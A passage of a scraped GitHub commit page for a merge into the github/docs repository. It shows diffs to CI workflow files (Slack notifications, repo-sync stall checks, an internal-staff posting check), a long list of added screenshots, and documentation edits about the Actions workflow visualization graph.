Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if 